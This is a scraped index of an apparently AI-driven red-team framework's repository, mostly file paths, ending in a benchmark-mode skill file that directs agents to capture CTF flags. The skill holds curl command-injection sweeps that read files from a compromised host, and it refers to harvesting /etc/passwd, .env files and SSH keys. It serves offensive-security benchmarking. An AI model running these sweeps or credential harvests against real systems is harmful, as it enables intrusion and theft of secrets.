`packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/fin7/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/fin7/SKILL.md)","packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/apt29/SKILL.md":"# apt29\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/apt29/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/apt29/SKILL.md)","packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/volt-typhoon/SKILL.md":"# volt-typhoon\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/volt-typhoon/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/volt-typhoon/SKILL.md)","docs/agents.md":"# docs - AI Agent Protocol & Instructions\n\nPath: `docs/agents.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/docs/agents.md)","docs/architecture.md":"# docs - System Architecture & Module Boundaries\n\nPath: `docs/architecture.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/docs/architecture.md)","docs/skills.md":"# docs - Workspace Skills & Capabilities Index\n\nPath: `docs/skills.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/docs/skills.md)","docs/tools/open-web.md":"# Tools Skill\n\nPath: `docs/tools/open-web.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/docs/tools/open-web.md)","packages/decepticon-sdk/README.md":"# decepticon-sdk Documentation\n\nPath: `packages/decepticon-sdk/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon-sdk/README.md)","packages/decepticon-core/README.md":"# decepticon-core Documentation\n\nPath: `packages/decepticon-core/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon-core/README.md)","packages/decepticon/README.md":"# decepticon Documentation\n\nPath: `packages/decepticon/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/README.md)","packages/decepticon-sdk/examples/README.md":"# examples Documentation\n\nPath: `packages/decepticon-sdk/examples/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon-sdk/examples/README.md)","packages/decepticon-sdk/examples/prompt/README.md":"# prompt Documentation\n\nPath: `packages/decepticon-sdk/examples/prompt/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon-sdk/examples/prompt/README.md)","packages/decepticon-sdk/examples/middleware/README.md":"# middleware Documentation\n\nPath: `packages/decepticon-sdk/examples/middleware/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon-sdk/examples/middleware/README.md)","packages/decepticon-sdk/examples/callback/README.md":"# callback Documentation\n\nPath: `packages/decepticon-sdk/examples/callback/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon-sdk/examples/callback/README.md)","packages/decepticon-sdk/examples/agent/README.md":"# agent Documentation\n\nPath: `packages/decepticon-sdk/examples/agent/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon-sdk/examples/agent/README.md)","packages/decepticon-sdk/examples/skill/README.md":"# skill Documentation\n\nPath: `packages/decepticon-sdk/examples/skill/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon-sdk/examples/skill/README.md)","packages/decepticon-sdk/examples/tool/README.md":"# tool Documentation\n\nPath: `packages/decepticon-sdk/examples/tool/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon-sdk/examples/tool/README.md)","packages/decepticon/decepticon/sandbox_web/NOTICE.md":"# Sandbox_web Skill\n\nPath: `packages/decepticon/decepticon/sandbox_web/NOTICE.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/sandbox_web/NOTICE.md)","packages/decepticon/decepticon/sandbox_web/waf_profiles.yaml":"# Sandbox_web Skill\n\nPath: `packages/decepticon/decepticon/sandbox_web/waf_profiles.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/sandbox_web/waf_profiles.yaml)","packages/decepticon/decepticon/skill_audit/subdomains.yaml":"# Skill_audit Skill\n\nPath: `packages/decepticon/decepticon/skill_audit/subdomains.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skill_audit/subdomains.yaml)","packages/decepticon/decepticon/agents/prompts/language.md":"# Subagent: language\n\nPath: `packages/decepticon/decepticon/agents/prompts/language.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/language.md)","packages/decepticon/decepticon/sandbox_web/templates/package.json":"# Templates Skill\n\nPath: `packages/decepticon/decepticon/sandbox_web/templates/package.json`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/sandbox_web/templates/package.json)","packages/decepticon/decepticon/tools/references/killchain.yaml":"# References Skill\n\nPath: `packages/decepticon/decepticon/tools/references/killchain.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/tools/references/killchain.yaml)","packages/decepticon/decepticon/agents/prompts/plugins/detector.md":"# Subagent: detector\n\nPath: `packages/decepticon/decepticon/agents/prompts/plugins/detector.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/plugins/detector.md)","packages/decepticon/decepticon/agents/prompts/plugins/exploiter.md":"# Subagent: exploiter\n\nPath: `packages/decepticon/decepticon/agents/prompts/plugins/exploiter.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/plugins/exploiter.md)","packages/decepticon/decepticon/agents/prompts/plugins/patcher.md":"# Subagent: patcher\n\nPath: `packages/decepticon/decepticon/agents/prompts/plugins/patcher.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/plugins/patcher.md)","packages/decepticon/decepticon/agents/prompts/plugins/scanner.md":"# Subagent: scanner\n\nPath: `packages/decepticon/decepticon/agents/prompts/plugins/scanner.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/plugins/scanner.md)","packages/decepticon/decepticon/agents/prompts/plugins/verifier.md":"# Subagent: verifier\n\nPath: `packages/decepticon/decepticon/agents/prompts/plugins/verifier.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/plugins/verifier.md)","packages/decepticon/decepticon/agents/prompts/plugins/vulnresearch.md":"# Subagent: vulnresearch\n\nPath: `packages/decepticon/decepticon/agents/prompts/plugins/vulnresearch.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/plugins/vulnresearch.md)","packages/decepticon/decepticon/agents/prompts/standard/ad_operator.md":"# Subagent: ad_operator\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/ad_operator.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/ad_operator.md)","packages/decepticon/decepticon/agents/prompts/standard/analyst.md":"# Subagent: analyst\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/analyst.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/analyst.md)","packages/decepticon/decepticon/agents/prompts/standard/blue_cell.md":"# Subagent: blue_cell\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/blue_cell.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/blue_cell.md)","packages/decepticon/decepticon/agents/prompts/standard/cloud_hunter.md":"# Subagent: cloud_hunter\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/cloud_hunter.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/cloud_hunter.md)","packages/decepticon/decepticon/agents/prompts/standard/contract_auditor.md":"# Subagent: contract_auditor\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/contract_auditor.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/contract_auditor.md)","packages/decepticon/decepticon/agents/prompts/standard/decepticon.md":"# Subagent: decepticon\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/decepticon.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/decepticon.md)","packages/decepticon/decepticon/agents/prompts/standard/exploit.md":"# Subagent: exploit\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/exploit.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/exploit.md)","packages/decepticon/decepticon/agents/prompts/standard/forensicator.md":"# Subagent: forensicator\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/forensicator.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/forensicator.md)","packages/decepticon/decepticon/agents/prompts/standard/ics_operator.md":"# Subagent: ics_operator\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/ics_operator.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/ics_operator.md)","packages/decepticon/decepticon/agents/prompts/standard/iot_operator.md":"# Subagent: iot_operator\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/iot_operator.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/iot_operator.md)","packages/decepticon/decepticon/agents/prompts/standard/mobile_operator.md":"# Subagent: mobile_operator\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/mobile_operator.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/mobile_operator.md)","packages/decepticon/decepticon/agents/prompts/standard/osint_operator.md":"# Subagent: osint_operator\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/osint_operator.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/osint_operator.md)","packages/decepticon/decepticon/agents/prompts/standard/phisher.md":"# Subagent: phisher\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/phisher.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/phisher.md)","packages/decepticon/decepticon/agents/prompts/standard/postexploit.md":"# Subagent: postexploit\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/postexploit.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/postexploit.md)","packages/decepticon/decepticon/agents/prompts/standard/recon.md":"# Subagent: recon\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/recon.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/recon.md)","packages/decepticon/decepticon/agents/prompts/standard/reverser.md":"# Subagent: reverser\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/reverser.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/reverser.md)","packages/decepticon/decepticon/agents/prompts/standard/soundwave.md":"# Subagent: soundwave\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/soundwave.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/soundwave.md)","packages/decepticon/decepticon/agents/prompts/standard/supply_chain_operator.md":"# Subagent: supply_chain_operator\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/supply_chain_operator.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/supply_chain_operator.md)","packages/decepticon/decepticon/agents/prompts/standard/wireless_operator.md":"# Subagent: wireless_operator\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/wireless_operator.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/wireless_operator.md)","packages/decepticon/decepticon/agents/prompts/workflows/decepticon.md":"# Subagent: decepticon\n\nPath: `packages/decepticon/decepticon/agents/prompts/workflows/decepticon.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/workflows/decepticon.md)","packages/decepticon/decepticon/agents/prompts/workflows/exploit.md":"# Subagent: exploit\n\nPath: `packages/decepticon/decepticon/agents/prompts/workflows/exploit.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/workflows/exploit.md)","packages/decepticon/decepticon/agents/prompts/workflows/mobile_operator.md":"# Subagent: mobile_operator\n\nPath: `packages/decepticon/decepticon/agents/prompts/workflows/mobile_operator.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/workflows/mobile_operator.md)","packages/decepticon/decepticon/agents/prompts/workflows/phisher.md":"# Subagent: phisher\n\nPath: `packages/decepticon/decepticon/agents/prompts/workflows/phisher.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/workflows/phisher.md)","packages/decepticon/decepticon/agents/prompts/workflows/postexploit.md":"# Subagent: postexploit\n\nPath: `packages/decepticon/decepticon/agents/prompts/workflows/postexploit.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/workflows/postexploit.md)","packages/decepticon/decepticon/agents/prompts/workflows/recon.md":"# Subagent: recon\n\nPath: `packages/decepticon/decepticon/agents/prompts/workflows/recon.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/workflows/recon.md)","packages/decepticon/decepticon/agents/prompts/workflows/soundwave.md":"# Subagent: soundwave\n\nPath: `packages/decepticon/decepticon/agents/prompts/workflows/soundwave.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/workflows/soundwave.md)","packages/decepticon/decepticon/agents/prompts/workflows/wireless_operator.md":"# Subagent: wireless_operator\n\nPath: `packages/decepticon/decepticon/agents/prompts/workflows/wireless_operator.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/workflows/wireless_operator.md)","packages/decepticon/decepticon/skillogy/builder/seeds/asset_types.yaml":"# Seeds Skill\n\nPath: `packages/decepticon/decepticon/skillogy/builder/seeds/asset_types.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skillogy/builder/seeds/asset_types.yaml)","packages/decepticon/decepticon/skillogy/builder/seeds/moc.yaml":"# Seeds Skill\n\nPath: `packages/decepticon/decepticon/skillogy/builder/seeds/moc.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skillogy/builder/seeds/moc.yaml)","packages/decepticon/decepticon/skillogy/builder/seeds/phases.yaml":"# Seeds Skill\n\nPath: `packages/decepticon/decepticon/skillogy/builder/seeds/phases.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skillogy/builder/seeds/phases.yaml)","packages/decepticon/tests/unit/skill_audit/fixtures/bad_mitre.md":"# Fixtures Skill\n\nPath: `packages/decepticon/tests/unit/skill_audit/fixtures/bad_mitre.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/tests/unit/skill_audit/fixtures/bad_mitre.md)","packages/decepticon/tests/unit/skill_audit/fixtures/clean.md":"# Fixtures Skill\n\nPath: `packages/decepticon/tests/unit/skill_audit/fixtures/clean.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/tests/unit/skill_audit/fixtures/clean.md)","packages/decepticon/tests/unit/skill_audit/fixtures/missing_subdomain.md":"# Fixtures Skill\n\nPath: `packages/decepticon/tests/unit/skill_audit/fixtures/missing_subdomain.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/tests/unit/skill_audit/fixtures/missing_subdomain.md)","packages/decepticon/tests/unit/skill_audit/fixtures/no_attribution.md":"# Fixtures Skill\n\nPath: `packages/decepticon/tests/unit/skill_audit/fixtures/no_attribution.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/tests/unit/skill_audit/fixtures/no_attribution.md)","packages/decepticon/decepticon/skills/standard/soundwave/references/schema-quick-reference.md":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/references/schema-quick-reference.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/references/schema-quick-reference.md)","packages/decepticon/decepticon/skills/shared/defense-evasion/references/amsi-bypass-techniques.md":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/shared/defense-evasion/references/amsi-bypass-techniques.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/defense-evasion/references/amsi-bypass-techniques.md)","packages/decepticon/decepticon/skills/shared/defense-evasion/references/modern-evasion-techniques.md":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/shared/defense-evasion/references/modern-evasion-techniques.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/defense-evasion/references/modern-evasion-techniques.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/references/anyrun-free-iocs.md":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/references/anyrun-free-iocs.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/references/anyrun-free-iocs.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/references/cve-apt-mapping.md":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/references/cve-apt-mapping.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/references/cve-apt-mapping.md)","packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/references/adversary-archetypes.md":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/references/adversary-archetypes.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/references/adversary-archetypes.md)","packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/references/apt-groups.md":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/references/apt-groups.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/references/apt-groups.md)","packages/decepticon/decepticon/skills/standard/soundwave/roe-template/references/roe-example.json":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/roe-template/references/roe-example.json`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/roe-template/references/roe-example.json)","packages/decepticon/decepticon/skills/standard/soundwave/roe-template/references/validation-checklist.md":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/roe-template/references/validation-checklist.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/roe-template/references/validation-checklist.md)","packages/decepticon/decepticon/skills/standard/soundwave/opplan-converter/references/objective-rules.md":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/opplan-converter/references/objective-rules.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/opplan-converter/references/objective-rules.md)","packages/decepticon/decepticon/skills/standard/soundwave/opplan-converter/references/objective-templates.md":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/opplan-converter/references/objective-templates.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/opplan-converter/references/objective-templates.md)","packages/decepticon/decepticon/skills/standard/soundwave/conops-template/references/kill-chain-templates.md":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/conops-template/references/kill-chain-templates.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/conops-template/references/kill-chain-templates.md)","packages/decepticon/decepticon/skills/standard/recon/passive-recon/references/dns-techniques.md":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/passive-recon/references/dns-techniques.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/passive-recon/references/dns-techniques.md)","packages/decepticon/decepticon/skills/standard/recon/cloud-recon/references/cloud-ip-ranges.md":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/cloud-recon/references/cloud-ip-ranges.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/cloud-recon/references/cloud-ip-ranges.md)","packages/decepticon/decepticon/skills/standard/recon/cloud-recon/references/cloud-naming-patterns.md":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/cloud-recon/references/cloud-naming-patterns.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/cloud-recon/references/cloud-naming-patterns.md)","packages/decepticon/decepticon/skills/standard/post-exploit/credential-access/references/lsass-techniques.md":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/credential-access/references/lsass-techniques.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/credential-access/references/lsass-techniques.md)","packages/decepticon/decepticon/skills/standard/post-exploit/c2-sliver/references/sliver-quickstart.md":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/c2-sliver/references/sliver-quickstart.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/c2-sliver/references/sliver-quickstart.md)","packages/decepticon/decepticon/skills/standard/exploit/ad/references/attack-paths.md":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/ad/references/attack-paths.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/ad/references/attack-paths.md)"},"files":{"packages/decepticon/decepticon/skills/benchmark/SKILL.md":"---\nname: benchmark\ndescription: \"Benchmark mode marker — engagement objective is flag capture. Generic engagement rules apply unchanged.\"\nallowed-tools: Bash Read Write\nmetadata:\n subdomain: benchmark\n when_to_use: \"benchmark, ctf, challenge, flag capture\"\n tags: benchmark, ctf\n upstream_ref: \"XBOW validation-benchmarks + Decepticon CTF mode marker\"\n---\n\n# Benchmark Mode\n\nThe engagement objective is **flag capture**. Per-challenge context\n(target URL, vulnerability tags, flag format, mission brief, extra\nservice ports) is injected into the system message every model call by\n`EngagementContextMiddleware` — read it; do NOT duplicate it here, and\ndo NOT ask the operator for it.\n\n## Suspended CRITICAL_RULES under benchmark mode\n\n- Rule 8 (Startup Required) — flag IS the deliverable; no roe/conops/deconfliction.\n- Rule 9 (Final Report) — no executive summary; the flag string is the report.\n\nAll other CRITICAL_RULES remain active. Recon→exploit ordering, OPPLAN\ndiscipline, no-bash-in-orchestrator, tag routing, OPSEC, and budget\npacing live in their owning prompts/skills (see `decepticon.md` Rules\n20/22, the recon/exploit agent prompts, and `/skills/standard/exploit/web/SKILL.md`\nfor vuln routing).\n\n## SHORT-CIRCUIT — flag/credential found\n\nWhen a sub-agent (recon or exploit) returns a verified flag or\nflag-equivalent credential:\n\n1. Record the verified flag evidence on its active objective and mark it complete. Cancel remaining pending or blocked objectives through the injected OPPLAN workflow.\n2. Your VERY NEXT response is the final answer, re-echoing the flag\n VERBATIM in the format announced by the middleware (e.g.\n `Flag captured: FLAG{}`). The harness scans ONLY the\n orchestrator's final message — if the flag string lives only inside\n a sub-agent return, it is LOST.\n\n## Flag-path sweep (after RCE confirmed)\n\nGeneric skills under `/skills/standard/exploit/web/` (`command-injection/SKILL.md`, `cve/SKILL.md`, etc.) cover credential/secret extraction but intentionally exclude CTF flag conventions. Once any RCE primitive is confirmed (`id`, `hostname`, or arbitrary file read), run this single batched sweep — do NOT issue one curl per path:\n\n```bash\n# CTF flag-path conventions — XBOW / picoCTF / HackTheBox / TryHackMe overlap.\nfor f in /opt/flag.txt /flag /flag.txt /root/flag.txt /root/flag \\\n /home/*/flag.txt /home/*/flag /tmp/flag.txt /tmp/flag \\\n /var/www/flag.txt /var/www/html/flag.txt /srv/flag.txt /srv/flag; do\n result=$(curl -s \"http:///?cmd=cat+$f\" 2>/dev/null | head -5)\n [ -n \"$result\" ] && echo \"=== $f ===\" && echo \"$result\"\ndone | tee /tmp/flag_sweep.txt\nhead -50 /tmp/flag_sweep.txt\n\n# Broad flag-filename find (when path is non-standard)\ncurl -s \"http:///?cmd=find+/+-type+f+\\(-name+'flag*'-o+-name+'FLAG*'\\)+-not+-path+'/proc/*'+-not+-path+'/sys/*'+2>/dev/null\" \\\n -o /tmp/find_flag.txt\nhead -20 /tmp/find_flag.txt\n```\n\nReplace `` with the confirmed injection endpoint. If the flag's `format` (e.g. `FLAG{...}`, `flag{...}`, `CTF{...}`) was announced by the middleware, additionally grep the harvest for that prefix:\n\n```bash\ngrep -hoE '(FLAG|flag|CTF)\\{[^}]+\\}' /tmp/flag_sweep.txt /tmp/find_flag.txt | sort -u\n```\n\nThe generic credential harvest (`/etc/passwd`, `.env`, configs, SSH keys, secret/cred/token files) lives in `/skills/standard/exploit/web/command-injection/SKILL.md` — run BOTH sweeps post-RCE; flag-path first (objective), credential second (lateral).\n\n## Tag → Skill Routing Table (BENCHMARK FAST-PATH)\n\nBenchmark mode pre-declares `Vulnerability tags:` in the engagement context, leaking the\nchallenge's intended attack class. **In real engagements no such metadata exists** — agents\ndiscover the class through the domain router skill applied to recon's raw observations.\nThis table is the canonical fast-path for the benchmark shortcut and the **only** place\nthis mapping lives. Generic 